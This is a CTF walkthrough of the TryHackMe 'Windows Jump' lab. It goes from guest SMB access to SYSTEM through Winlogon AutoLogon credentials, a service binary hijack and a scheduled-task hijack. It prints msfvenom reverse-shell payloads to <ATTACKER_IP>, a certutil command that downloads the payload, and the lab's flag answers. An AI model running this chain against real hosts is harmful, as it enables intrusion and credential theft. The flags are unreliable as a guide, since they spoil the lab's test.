November 17, 2026
Windows Jump | TryHackme | Walkthrough
Initial Access
By Sornphut
3 min read
rustscan -a TARGET_IPrustscan -a TARGET_IP
Enumerating SMB
nxc smb 10.48.174.196 -u guest -p '' --sharesnxc smb 10.48.174.196 -u guest -p '' --shares
This is a common finding during internal network security assessments: system administrators often create "temporary" network shares, which end up inadvertently containing important or sensitive data.
Welcome.txt
smbclient //<TARGET_IP>/Public -U guestsmbclient //<TARGET_IP>/Public -U guest
Login as thmuser
xfreerdp /u:thmuser /p:'Password1!' /v:10.48.174.196 /cert:ignorexfreerdp /u:thmuser /p:'Password1!' /v:10.48.174.196 /cert:ignore
Privilege Escalation notadmin
One of the quickest checks to perform on a Windows system is to examine the values within the Winlogon registry key, which may contain credentials used for AutoLogon.
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
Storing AutoLogon passwords in plain text is a Windows misconfiguration that occurs more frequently than one might expect, particularly on kiosk-system and public-facing systems.
Run the program with the privileges of another user
runas /user:notadmin cmdrunas /user:notadmin cmd
Privilege Escalation svcadmin
Searching for services running under accounts with elevated privileges
wmic service get Name,DisplayName,StartName | findstr /i svcadminwmic service get Name,DisplayName,StartName | findstr /i svcadmin
There is a service called THMSvc that immediately stands out as interesting. next, the configuration details of this service are examined.
sc qc THMSvcsc qc THMSvcChecked Permissions on service directory
icacls C:\Windows\THMSvcicacls C:\Windows\THMSvc
PRIVESC\notadmin= the user notadmin(F)= Full Control(OI)= Object Inherit (files inherit the permission)(CI)= Container Inherit (subfolders inherit the permission)
The directory was writable, meaning the service executable could potentially be modified or replaced by the current user.
This is a classic example of a Service Binary Hijacking vulnerability.
What does this mean?
A Windows service often runs under a privileged account such as:
- LocalSystem
- LocalService
- NetworkService
- A dedicated service account (e.g.,
svcadmin)
- Generated a reverse shell payload.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe -o svc.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe -o svc.exe
- Start Python server
python3 -m http.server 8000python3 -m http.server 8000
- Downloaded the payload on Target Machine
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/svc.exe C:\Windows\THMSvc\svc.execertutil -urlcache -split -f http://<ATTACKER_IP>:8000/svc.exe C:\Windows\THMSvc\svc.exe- Start Listening
./penelope.py -p 4444./penelope.py -p 4444
- Started the vulnerable service.
sc start THMSvcsc start THMSvc
Privilege Escalation system
icacls C:\Windows\Tasks\cleanup.baticacls C:\Windows\Tasks\cleanup.bat
svcadmin had Modify permissions. If this batch file is executed as SYSTEM, modifying it would provide an opportunity to run arbitrary code with SYSTEM-level privileges.
Hijacking the Scheduled Task
- Generated reverse shell executable.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1337 -f exe -o shell.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1337 -f exe -o shell.exe
- Start listening
./penelope.py -p 1337./penelope.py -p 1337
- Download and Replace Scheduled Task and Run
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/shell.exe C:\Windows\Tasks\shell.execertutil -urlcache -split -f http://<ATTACKER_IP>:8000/shell.exe C:\Windows\Tasks\shell.exe
cmd /c "echo C:\Windows\Tasks\shell.exe > C:\Windows\Tasks\cleanup.bat"cmd /c "echo C:\Windows\Tasks\shell.exe > C:\Windows\Tasks\cleanup.bat"- When the scheduled task executed
What are the contents of flag1.txt?
THM{5mb_cr3d5_1n_th3_5h4r3}THM{5mb_cr3d5_1n_th3_5h4r3}What are the contents of flag2.txt?
THM{w1nl0g0n_cr3ds_3xp0s3d}THM{w1nl0g0n_cr3ds_3xp0s3d}What are the contents of flag3.txt?
THM{s3rv1c3_b1n4ry_h1j4ck3d}THM{s3rv1c3_b1n4ry_h1j4ck3d}What are the contents of flag4.txt?
THM{t4sk_wr1t3_t0_SYST3M}THM{t4sk_wr1t3_t0_SYST3M}
C:\Users\thmuser\Desktop\flag1.txt
C:\Users\notadmin\Desktop\flag2.txt
C:\Users\svcadmin\Desktop\flag3.txt
C:\flag4.txtC:\Users\thmuser\Desktop\flag1.txt
C:\Users\notadmin\Desktop\flag2.txt
C:\Users\svcadmin\Desktop\flag3.txt
C:\flag4.txt